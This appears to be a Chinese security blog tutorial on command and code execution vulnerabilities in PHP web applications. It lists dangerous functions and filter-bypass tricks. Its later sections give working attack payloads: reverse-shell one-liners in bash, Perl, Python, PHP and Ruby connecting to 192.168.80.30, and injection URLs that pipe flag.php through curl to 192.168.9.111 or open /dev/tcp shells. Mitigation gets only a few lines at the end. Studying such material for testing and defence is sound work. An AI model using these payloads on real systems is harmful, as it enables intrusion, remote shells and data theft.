美文网首页
干货 | 命令执行漏洞和代码执行漏洞详解

干货 | 命令执行漏洞和代码执行漏洞详解

作者: 网络安全自修室 | 来源:发表于2022-06-20 22:24 被阅读0次

    命令执行(RCE)漏洞和代码执行漏洞区别如下:

    • 代码执行实际上是调用服务器网站代码进行执行
    • 命令执行则是调用操作系统命令进行执行

    一、命令执行漏洞

    1、什么是命令执行

    命令执行(Remote Command Execution, RCE)

    Web应用的脚本代码在执行命令的时候过滤不严

    从而注入一段攻击者能够控制的代码,在服务器上以Web服务的后台权限远程执行恶意指令

    成因

    • 代码层过滤不严
    • 系统的漏洞造成命令注入
    • 调用的第三方组件存在代码执行漏洞常见的命令执行函数
      • PHP:exec、shell_exec、system、passthru、popen、proc_open等
      • ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
      • Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

    2、常用命令执行函数

    (1)system

    该函数会把执行结果输出
    并把输出结果的最后一行作为字符串返回
    如果执行失败则返回false
    这个也最为常用

    <?php
    highlight_file(__FILE__);
    system('pwd');
    system('whoami');
    ?>
    

    (2)exec

    不输出结果,返回执行结果的最后一行
    可以使用output进行输出

    <?php
    highlight_file(__FILE__);
    exec('pwd',$b);
    var_dump($b);
    ?>
    

    (3)passthru

    此函数只调用命令
    并把运行结果原样地直接输出
    没有返回值。

    <?php
    highlight_file(__FILE__);
    passthru('ls');
    ?>
    

    (4)shell_exec

    不输出结果,返回执行结果
    使用反引号(``)时调用的就是此函数

    <?php
    highlight_file(__FILE__);
    var_dump(shell_exec('ls'));
    ?>
    

    (5)ob_start

    此函数将打开输出缓冲,当输出缓冲激活后,脚本将不会输出内容(除http标头外)
    相反需要输出的内容被存储在内部缓冲区中。

    内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中

    想要输出存储在内部缓冲区中的内容

    可以使用 ob_end_flush() 函数
    另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容

    <?php
        ob_start("system");
        echo "whoami";
        ob_end_flush();
    ?>
    

    3、命令连接符

    Windows和Linux都支持的命令连接符:

    • cmd1 | cmd2 只执行cmd2- cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
    • cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
    • cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
      Linux还支持分号;
    • cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2

    二、代码执行漏洞

    1、什么是代码执行

    代码执行漏洞是由于服务器对危险函数过滤不严导致用户输入的一些字符串可以被转换成代码来执行,从而造成代码执行漏洞

    成因

    • 用户能够控制函数输入
    • 存在可执行代码的危险函数常见代码执行函数
      • PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
      • Javascript: eval
      • Vbscript:Execute、Eval
      • Python: exec

    2、常用代码执行函数

    (1)${}执行代码

    中间的php代码将会被解析

    <?php
    ${<!-- -->phpinfo()};
    ?>
    

    (2)eval

    将字符串当做函数进行执行
    需要传入一个完整的语句
    必须以分号 ; 结尾
    最常用的函数

    <?php
    eval('echo "hello";');
    ?>
    

    (3)assert

    判断是否为字符串
    是则当成代码执行
    在php7.0.29之后的版本不支持动态调用

    低版本
    <?php 
    assert($_POST['a']);
    ?>
    
    7.0.29之后
    <?php
    $a = 'assert';
    $a(phpinfo());
    ?>
    
    

    (4)preg_replace

    用来执行一个正则表达式的搜索和替换
    执行代码需要使用/e修饰符
    前提是不超过php7

    mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
    
    • $pattern: 正则表达式匹配的内容 - $replacement: 用于替换的字符串或字符串数组。
    • $subject: 要搜索替换的目标字符串或字符串数组
    <?php
    preg_replace("/pat/e", $_GET['reg'], 'my pat');
    ?>
    

    (5)create_function

    用来创建匿名函数

    create_function(string $args,string $code)
    
    
    • args是要创建的函数的参数
    • code是函数内的代码

    一个demo

    <?php
    error_reporting(0);
    $sort_by = $_GET['sort_by'];
    $sorter = 'strnatcasecmp';
    $databases=array('1234','4321');
    $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
    usort($databases, create_function('$a, $b', $sort_function));
    ?>
    

    payload

    ?sort_by="]);}phpinfo();/*
    

    (6)array_map

    为数组的每个元素应用回调函数

    <?php
    highlight_file(__FILE__);
    $a = $_GET['a'];
    $b = $_GET['b'];
    $array[0] = $b;
    $c = array_map($a,$array);
    ?>
    

    payload

    ?a=assert&b=phpinfo();
    

    (7)call_user_func

    回调函数,可以使用is_callable查看是否可以进行调用

    mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
    

    第一个参数 callback 是被调用的回调函数
    其余参数是回调函数的参数

    <?php
    highlight_file(__FILE__);
    $a = 'system';
    $b = 'pwd';
    call_user_func($a,$b);
    call_user_func('eval','phpinfo()');
    ?>
    

    (8)call_user_func_array

    回调函数,参数为数组

    mixed call_user_func_array ( callable $callback , array $param_arr )
    

    第一个参数作为回调函数(callback)调用
    把参数数组作(param_arr)为回调函数的的参数传入

    <?php
    highlight_file(__FILE__);
    $array[0] = $_POST['a'];
    call_user_func_array("assert",$array); 
    ?>
    

    (9)array_filter

    array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
    

    依次将 array 数组中的每个值传递到 callback 函数
    如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中
    数组的键名保留不变。

    <?php
    highlight_file(__FILE__);
    $array[0] = $_GET['a'];
    array_filter($array,'assert');
    ?>
    

    (10)usort

    使用自定义函数对数组进行排序

    bool usort ( array &$array , callable $value_compare_func )
    

    本函数将用用户自定义的比较函数对一个数组中的值进行排序
    如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数

    <?php
    highlight_file(__FILE__);
    usort(...$_GET);            php5.6以上的写法
    #usort($_GET[1],'assert');  php5.6可用
    ?>
    

    payload

    1[]=phpinfo()&1[]=123&2[]=assert
    

    三、绕过姿势

    1、常见分隔符

    • 换行符 %0a
    • 回车符 %0d
    • 连续指令
    • 后台进程 &
    • 管道符 |
    • 逻辑 ||&&

    2、空格

    可以用以下字符代替空格

    <
    ${<!-- -->IFS}
    $IFS$9
    %09
    
    • $IFS在linux下表示分隔符
    • 加一个{}固定了变量名- 同理在后面加个$可以起到截断的作用
    • $9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串

    3、命令终止符

    %00
    %20
    

    4、敏感字符绕过

    (1)变量绕过

    a=l,b=s;$a$b
    

    (2)base64编码绕过

    echo 'cat' | base64
    `echo 'Y2F0Cg==' | base64 -d` test.txt
    

    (3)未定义的初始化变量

    cat$b /etc/passwd
    

    (4)连接符

    cat /etc/pass'w'd
    

    (5)通配符

    Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件
    可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档
    ls命令我们可以通过以下语法代替执行

    /???/?s --help
    

    四、反向连接(Reverse Shell)的各类技术方法

    - rm/tmp/f; mkfifo/tmp/f; cat /tmp/f|/bin/sh-i2>&1|nc 192.168.80.30 443 >/tmp/f
    - perl-e 'use Socket;$i="192.168.80.30";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'
    - python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.30",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    - php-r '$sock=fsockopen("192.168.80.30",443);exec("/bin/sh-i<&3 >&3 2>&3");’
    - ruby-rsocket-e'f=TCPSocket.open("192.168.80.30",443).to_i;execsprintf("/bin/sh-i<&%d >&%d 2>&%d",f,f,f)'
    
    

    五、一些场景应用

    1、无任何过滤或简单过滤

    ▪http://192.168.80.30/low.php?name=;cat flag.php
    ▪http://192.168.80.30/low.php?name=%26cat flag.php
    ▪http://192.168.80.30/low.php?name=|cat flag.php
    ▪http://192.168.80.30/low.php?name=`cat flag.php`
    
    

    2、过滤了;,|,&,`

    ▪http://192.168.80.30/medium.php?name=%0acat flag.php
    ▪http://192.168.80.30/medium.php?name=$(cat flag.php)
    
    

    3、过滤了;,|,&,`,\s

    ▪http://192.168.80.30/high.php?name=$(cat<flag.php)
    ▪http://192.168.80.30/high.php?name=$(cat$IFS./flag.php)
    
    

    4、过滤了关键词,比如cat

    http://192.168.80.30/low.php?name=;c''at flag.php
    http://192.168.80.30/low.php?name=;c\at flag.php
    http://192.168.80.30/low.php?name=;c$@at flag.php
    http://192.168.80.30/high.php?name=$(c\at<flag.php)
    http://192.168.80.30/high.php?name=$(tac<flag.php)
    http://192.168.80.30/high.php?name=$(more<flag.php)
    http://192.168.80.30/high.php?name=$(tail<flag.php)
    
    

    5、页面无命令结果的回显

    ▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`ls|base64`
    ▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`cat flag.php|base64`
    ▪http://192.168.80.30/noecho.php?name=%0acurl 192.168.9.111:1234?hh=`cat flag.php|base64`
    ▪http://192.168.80.30/noecho.php?name=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.9.111%2f1234%200%3E%261%22%20
    ▪http://192.168.80.30/noecho.php?name=;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.111",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    

    六、防范措施

    • 尽量不要使用系统执行命令
    • 在进入执行命令函数/方法前,变量要做好过滤,对敏感字符转义
    • 在使用动态函数前,确保使用的函数是指定的函数之一
    • 对PHP语言,不能完全控制的危险函数就不要用

    相关文章

      网友评论

          本文标题:干货 | 命令执行漏洞和代码执行漏洞详解

          本文链接:https://www.haomeiwen.com/subject/tjqsvrtx.html